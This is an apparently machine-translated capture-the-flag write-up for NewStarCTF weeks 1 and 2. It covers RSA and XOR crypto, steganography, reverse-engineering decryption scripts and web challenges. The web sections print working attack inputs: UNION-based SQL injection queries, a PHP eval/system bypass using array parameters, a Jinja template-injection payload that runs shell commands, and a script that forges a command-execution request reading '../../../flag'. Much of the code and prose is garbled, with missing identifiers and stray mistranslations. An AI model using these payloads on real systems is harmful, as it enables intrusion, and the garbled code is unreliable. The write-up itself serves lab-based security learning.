week1 wp
crypto
seconds at a glance
n Fermat decomposition re rsa
flag:
import libnum
import gmpy2
from import *
p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e = 65537
c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
n = 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
p = (n,2)[0]-10000
while not isPrime(p) : p += 1
q = p + 2
while not isPrime(q) : q += 2
while p*q - n != 0 :
p = q
q += 2
while not isPrime(q) : q += 2
phi_n = (p - 1) * (q - 1)
d = (e, phi_n)
m = pow(c, d, n)
print(m)
flag = libnum.n2s(int(m))
print(flag)
b'flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}'
Base
4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D
base16
base32
base64
flag{B@sE_0f_CrYpt0_N0W}
xor
from import bytes_to_long, long_to_bytes
# Known key and encrypted data
key = b'New_Star_CTF'
c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'
# Recover m1
m1 = c1 ^ bytes_to_long(key)
m1_bytes = long_to_bytes(m1)
# Restore m2
def xor_bytes(a, b).
return bytes([x ^ y for x, y in zip(a, b)])
m2 = xor_bytes(c2, key)
# splice m1 and m2 to get the full flag
flag = 'flag{' + m1_bytes.decode('utf-8') + ('utf-8') + '}'
print(flag)
flag
{flag{0ops!_you_know_XOR!}}
misc
Labyrinth
LSB steganography
SilentEye opens it and finds a QR code inside, directly scan the
web
Will you win?
part1
F12
Hidden in the source code, it also gives the catalog for the next level
<! -- flag Part 1: ZmxhZ3tXQTB3, Start your semester right! :/4cqu1siti0n -->.
part2
A little look at the code, await wait accepts a parameter className, this parameter followed in /api/flag/, is the directory name leaked out of our first pass of the source code, this code is received after the POST request header will be added to the full, otherwise the post request will not be passed any information, resulting in a bool value of 0 in the latter if, so only need us to give him the correct value of className in the console.
Just call the revealFlag function and pass him the name of the directory, at first it wasn't in the right format, but then I realized that I didn't need to add the / because it was already in his code, so I just needed to give the name and it was ok!
Congratulations! You've earned the second part of the flag: IV95NF9yM2Fs
......
Time has passed, you've grown a lot and some things have happened. Go check it out:/s34l
part3
('DOMContentLoaded', function () {
const form = ('seal_him');
const stateElement = ('state');
const messageElement = ('message');
('submit', async function (event) {
();
if (() !== 'lift a ban') {
= 'what's up?';
return;
}
try {
const response = await fetch('/api/flag/s34l', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: ({ csrf_token: ('csrf_token').value })
});
if () {
const data = await ();
= `Part IIIFlag: ${}, You've saved the five Gohans.!next pass: /${ || 'not have'}`;
} else {
= 'Request Failed,Please try again.。';
}
} catch (error) {
= 'Error during request,Please try again.。';
}
});
});
In the console, type
('state').textContent = 'Unblocked';
Then tap Unblock
Part 3 Flag: MXlfR3I0c1B, You rescued five Gohs! Next Flag: /Ap3x
part4
Disable js
{
"flag": "fSkpKcyF9",
"nextLevel": null
}
ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9
A glance at base64
flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}
intellectual equipment crisis
It will give you a directory to go into and see that it's a php script.
Title Analysis
<?php
function execute_cmd($cmd) {
system($cmd); //ls
}
function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key); //keyvalue requiredbase64encodings and assigns a value to the$decoded_key N2FiZThiMjRiZDAxMzc0NDZmZDMzNmMyMjk4ZmNjYTA=
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) { //ibecause ofcmd(used form a nominal expression)len-1 =MHb v4iLgMHb
$reversed_cmd .= $cmd[$i]; //commander-in-chief (military)cmdcarry outreverse,and assign it toreversed_cmd
}
$hashed_reversed_cmd = md5($reversed_cmd); //commander-in-chief (military)reversed_cmdcarry outmd5deal with 7abe8b24bd0137446fd336c2298fcca0
if ($hashed_reversed_cmd !== $decoded_key) { //warrant (law)hashed_reversed_cmd together with decoded_key equivalent
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd); // cmd : bHM= bHMgLi4v ==gCv4iLv4iLgMHb
return $decrypted_cmd;
}
if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
//commander-in-chief (military)cmd需要(used form a nominal expression)指令base64,reverse,md5,base64just likekey,指令(used form a nominal expression)base64just likecmd
EXP
import base64
import hashlib
def process_string(input_str):
# Step 1: Base64 Encode
base64_encoded = base64.b64encode(input_str.encode()).decode()
print(f"Base64 Encoded: {base64_encoded}")
# Step 2: Reverse the string
reversed_str = base64_encoded[::-1]
print(f"Reversed: {reversed_str}")
# Step 3: MD5 Hash (32-bit lowercase)
md5_hashed = hashlib.md5(reversed_str.encode()).hexdigest()
print(f"MD5 Hashed: {md5_hashed}")
# Step 4: Base64 Encode again
final_base64 = base64.b64encode(md5_hashed.encode()).decode()
print(f"Final Base64 Encoded: {final_base64}")
return final_base64
# Example usage:
input_value = "cat ../../../flag"
process_string(input_value)
Final payload:
cmd=Y2F0IC4uLy4uLy4uL2ZsYWc=&key=MTA0YzM0MzVhN2UxYWIyM2E0ZjYzOTlhM2EyYzhhMGU=
headach
Grab the packet directly in the response
sql
Multiple attempts have revealed that there are no closures and that it is a plastic injection
id=1 or 1=1#
id=1 order by 2 #
id=1 order by 3 #
3 reports an error and gets a field count of 2
When trying to explode the library name here, it keeps showing back as
Then it was found that having him front query results in -1 and query failures can be shown back
id=-1 union select 1,database() #
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Fl4g' #
id=-1 union select 1,group_concat(value) from Fl4g #
week2_wp
web
Lost Zipper
Opening Imperial Sword revealed a directory that gave a zip archive when accessed
Inside, there's the html for a web page, two pieces of php code:
:
<?php
header("Location: ");
exit();
?>
Access is automatically redirected to the
:
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//exclamation Eh! why?sha1cap (a poem)md5equivalent
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";
}
}
hash strong comparison, array bypass, filter cat and flag, use tac and * wildcards
exp:
http://eci-2ze8d3ln9lmig6vvuqa5./?new[]=1
POST:star[]=2&cmd=system('tac /fla*');
Can you type eight sentences in English in one second?
Into the topic found that we need to let us enter eight sentences of English in one second to be considered successful, I have tried to operate the js console, so that the time is fixed to within 1s value, and js code prohibits the paste, directly disable the js will lead to the use of this button at all, try to capture the packet to send data directly, but found that back to the display is: need to be automatically redirected to the target url, and Direct observation can also be found every time the English sentence will change, to capture the packet to send data will send the wrong data. So I thought of using the selenium library, with web automation test script to operate, this is the following is the title of our restrictions on the js code (commented)
('DOMContentLoaded', function() {
const startTime = ();
const timerElement = ('time-left');
const submitBtn = ('submit-btn');
const userInput = ('user-input');
('dragover', function(event) {
();
});
('drop', function(event) {
();
});
('contextmenu', function(event) {
();
});
// Make it a little harder.
('keydown', function(event) { //Prevents copying and pasting, etc.
if ( && ( === 'u' || === 'U' ||
=== 's' || === 'S' ||
=== 'p' || === 'P' ||
=== 'i' || === 'I' ||
=== 'j' || === 'J' ||
=== 'c' || === 'C' ||
=== 'v' || === 'V' ||
=== 'x' || === 'X')) {
();
} //take precautionsf12
if ( === 'F12' || ('F')) {
();
}
});
let timer = setInterval(function() { // Time calculation method,Since this is a built-in function,(indicates contrast)startTimeOn top is also defined by the function,(indicates contrast)startTimebeconstConstants cannot be changed via the console
let elapsedTime = ((() - startTime) / 1000).toFixed(2);
= elapsedTime;
if (elapsedTime <= 1) {
= 'green';
} else {
= 'red';
}
}, 10);
('click', function() {
const inputText = ;
const form = ('form');
= 'POST';
= '/submit';
const input = ('input');
= 'hidden';
= 'user_input';
= inputText;
(input);
Attach exp
from selenium import webdriver
from import By
from import Service
from import Options
from import expected_conditions as EC
from time import sleep
from import time import sleep
# Set the Edge options
edge_options = Options()
edge_options.add_argument("--start-maximized") # maximize window (optional)
# Specify the path to the EdgeDriver
service = Service(r'C:\Program Files (x86)\Microsoft\Edge\Application\edgedriver_win64\')
# Specify the path to the Edge browser
edge_options.binary_location = r'C:\Program Files (x86)\Microsoft\Edge\Application\'
# Initialize WebDriver
driver = (service=service, options=edge_options)
try.
# Open the target website
('http://eci-2ze88xvgd67rn84tc3an./') # Replace with the URL of the target site
# Find the button and click on it Go to F12 and find the id of the button.
button = driver.find_element(, 'start-btn') # Modify the selector as appropriate
()
new_url = driver.current_url
print(f "URL after jump: {new_url}")
# Wait for the page jump to complete
# Get the page content
page_content = driver.page_source
# Print the page content
print(page_content)
str_page_content = str(page_content)
# Define a regular expression pattern
pattern = r'<p >(. *?) </p>'
match = (pattern, page_content, )
# Perform other operations...
if match.
# Extract the matched content
text_content = (1)
print(f "Extracted text content: {text_content}")
print(f "Extracted text content: {text_content}")
print("No match found")
textarea = driver.find_element(, 'user-input')
textarea.send_keys(text_content) # send_keys() is a built-in method in the Selenium library for sending keys to web elements.
# Find the button and click on it
button = driver.find_element(, 'submit-btn') # Modify the selector accordingly
()
finally.
# Close the browser
()
repeater
payload
{{url_for.__globals__.('tac /f*').read()}}
RE
UPX
A simple shelling question, get the file and shell it directly
./ -d upx
After shelling ida decompile
into the RC4 function, found to be a RC4 encryption in comparison with data, and RC4 is the stream password, only need to bring the data to RC4 encryption once you can get the flag, here directly move to adjust, the use of LAZYida will be replaced by the input of data, you can get the flag
drink_TEA
I personally feel that this question is not simple, first of all, to understand the tea encryption, the key length is 64 bits, first use ida to see the decompile, and then change the function name and variable name to make it better to analyze
You can see that it is after performing a tea encryption, compare the encrypted data with unk_140004080 and enter the tea encryption function
The first thing to watch out for isv4 -= 0x61C88647;Normally this position is plus, but since he is an int type, all use its complement, which is 9E3779B9
For the key, because it is a DWORD type, you need to convert the string to an array size of 4, where you need to manually replace it with the key
be a small telesequence (math.)
long key[4]; // convert key to DWORD type
key[0] = 0x636C6557; // convert the key to a DWORD type.
key[1] = 0x54656D6F; // Convert the key to DWORD type.
key[0] = 0x636C6557; key[1] = 0x54656D6F; key[2] = 0x77654E6F; // convert key to DWORD type
key[1] = 0x54656D6F; key[2] = 0x77654E6F; key[3] = 0x72617453.
Finally write the decryption script
#include <>
#include <>
void tea_decrypt(unsigned int *data, long *key)
{
unsigned int v3 = data[0];
unsigned int v4 = data[1];
unsigned int delta = 0x9e3779b9;
unsigned int sum = delta * 0x20; // initialization sum is the value at the end of encryption
for (int i = 0; i < 32; ++i)
{
v4 -= (key[3] + (v3 >> 5)) ^ (sum + v3) ^ (key[2] + 16 * v3);
v3 -= (key[1] + (v4 >> 5)) ^ (sum + v4) ^ (*key + 16 * v4);
sum -= delta;
}
data[0] = v3;
data[1] = v4;
}
int main()
{
long key[4]; // Convert the key to DWORD typology
key[0] = 0x636C6557;
key[1] = 0x54656D6F;
key[2] = 0x77654E6F;
key[3] = 0x72617453;
unsigned char encrypted_data[] =
{
0x78, 0x20, 0xF7, 0xB3, 0xC5, 0x42,
0xCE, 0xDA, 0x85, 0x59, 0x21, 0x1A, 0x26, 0x56, 0x5A, 0x59,
0x29, 0x02, 0x0D, 0xED, 0x07, 0xA8, 0xB9, 0xEE, 0x36, 0x59,
0x11, 0x87, 0xFD, 0x5C, 0x23, 0x24
};
for (int i = 0; i < 32; i += 8)
{
tea_decrypt((unsigned int *)&encrypted_data[i], key);
}
printf("Decrypted data: ");
for (int i = 0; i < 32; i++)
{
printf("%c ", encrypted_data[i]);
}
printf("\n");
return 0;
}
Run to get the flag
Ptrace
Open both father and son with ida, first check the decompilation of ida
Don't understand what ptrace(PTRACE_POKEDATA, addr, addr, 3); means, go ask ai directly:
Specifically.ptrace(PTRACE_POKEDATA, pid, addr, value)
The meanings of the parameters are as follows:
-
PTRACE_POKEDATA
: Specifies the type of operation to be performed, in this case writing data to the data space of the process being debugged. -
pid
: The process ID of the process being debugged. -
addr
: The address in the address space of the debugged process at which you wish to write data. -
value
: The value of the data to be written.
In your case:
-
addr
serve aspid
cap (a poem)addr
parameter, which means you have to send a message to the debugged process (whose PID isaddr
) at an address in the data space (again, theaddr
) Write value3
。
It is important to note that the twoaddr
It could be a misuse or a requirement for a specific scenario. Normally, the two parameters should be different, one is the PID of the target process and the other is the specific address where you want to write the data.
In addition, the use ofptrace
Proper privileges are required, and usually such operations can only be performed successfully if the calling process has sufficient privileges over the target process. This usually means that the caller must be a superuser or that there is a specific relationship between the two processes (e.g., parent-child). If the privileges are insufficient, theptrace
The call will fail and return an error code.
In other words, pass in 3 to the address addr, go see where addr points to
Jump to the address, found that there is no such place in the father, in fact, it is in the son file, son in the jump to the place
this timedword_60004040is the 3 that was passed in there, and byte_60004020 is the data that was encrypted for comparison with the input, all of which can be obtained from the decryption script
#include <>
void main()
{
unsigned char enc[32] = {
0xCC, 0x8D, 0x2C, 0xEC, 0x6F, 0x88, 0xED, 0xEB, 0x2F, 0xED, 0xAE, 0xEB, 0x4E, 0xAC, 0x2C, 0x8D,
0x8D, 0x2F, 0xEB, 0x6D, 0xCD, 0xED, 0xEE, 0xEB, 0x0E, 0x8E, 0x4E, 0x2C, 0x6C, 0xAC, 0xE7, 0xAF
};
unsigned char flag[32] = {0};
for ( int i = 0; i < 32; ++i )
flag[i] = ((int)(unsigned __int8)enc[i] >> 5) | (enc[i] << (8 - 5));
for ( int j = 0; j < 32; ++j)
printf("%c",flag[j]);
}
ezencrypt
Open jadx to decompile it and find the encryption function
It was found that AES, base64 encryption was performed first, and then the connection library was accessed later, and the .so file was analyzed with ida
You can see that after the above encrypted s and then encrypted enc encryption processing, and then compared with the mm to determine whether the user input flag is correct, analyze the enc function
Re-analyzing the encc function
You can see that this is actually an rc4, so you can just write the script to find out what the data is before it enters the so layer of encryption.
#include <>
#include <>
unsigned char sbox[256];
char key[5] = "meow";
void __fastcall init_sbox(char *key) {
unsigned __int8 v1;
int v2 = 0;
int v3 = 0;
unsigned int j;
for (unsigned int i = 0; i < 0x100; ++i) {
sbox[i] = i;
}
for (j = 0; j < 0x100; ++j) {
v1 = sbox[j];
v3 = (unsigned __int8)(key[v2] + v1 + v3);
sbox[j] = sbox[v3];
sbox[v3] = v1;
if (++v2 >= (unsigned __int64)strlen(key)) {
v2 = 0;
}
}
}
__int64 __fastcall decc(char *key, unsigned char *enc) {
unsigned __int64 v2;
__int64 result;
unsigned __int8 v4;
int v5 = 0;
int v6 = 0;
int i;
init_sbox(key);
for (i = 0; ; ++i) {
v2 = strlen((char *)enc);
result = i;
if (i >= v2) {
break;
}
v6 = (v6 + 1) % 256;
v5 = (sbox[v6] + v5) % 256;
v4 = sbox[v6];
sbox[v6] = sbox[v5];
sbox[v5] = v4;
enc[i] ^= sbox[(sbox[v5] + sbox[v6]) % 256];
}
return result;
}
void __fastcall dec(unsigned char *enc_1) {
decc(key, enc_1);
int v3 = strlen((char *)enc_1);
for (int i = 0; i < v3; ++i) {
enc_1[i] ^= key[i % 4];
}
}
int main() {
char key[] = "meow";
unsigned char enc[44] = {
0xC2, 0x6C, 0x73, 0xF4, 0x3A, 0x45, 0x0E, 0xBA, 0x47, 0x81, 0x2A, 0x26, 0xF6, 0x79, 0x60, 0x78,
0xB3, 0x64, 0x6D, 0xDC, 0xC9, 0x04, 0x32, 0x3B, 0x9F, 0x32, 0x95, 0x60, 0xEE, 0x82, 0x97, 0xE7,
0xCA, 0x3D, 0xAA, 0x95, 0x76, 0xC5, 0x9B, 0x1D, 0x89, 0xDB, 0x98, 0x5D
};
dec(enc);
printf("Decrypted: ");
for (int i = 0; i < 44; ++i) {
printf("%c", enc[i]);
}
printf("\n");
;
return 0;
}
Then take this to AES and decrypt it to get the flag.
Incidentally the key here is the title of the app
Dirty_flowers
Directly following the prompts nop off all the compilation after the analysis found that only a simple dissimilarity or, here directly given scripts
#include <>
#include <>
int main()
{
unsigned char data[36] = {
2, 5, 19, 19, 2, 30, 83, 31,
92, 26, 39, 67, 29, 54, 67, 7,
38, 45, 85, 13, 3, 27, 28, 45,
2, 28, 28, 48, 56, 50, 85, 2,
27, 22, 84, 15
};
char key[13]="dirty_flower";
int v2 = strlen(key);
int len =36;
for (int i = 0; i < len; ++i )
{
data[i] ^= key[i % v2];
}
for (int i = 0; i < len; ++i )
{
printf("%c",data[i]);
}
return 0;
}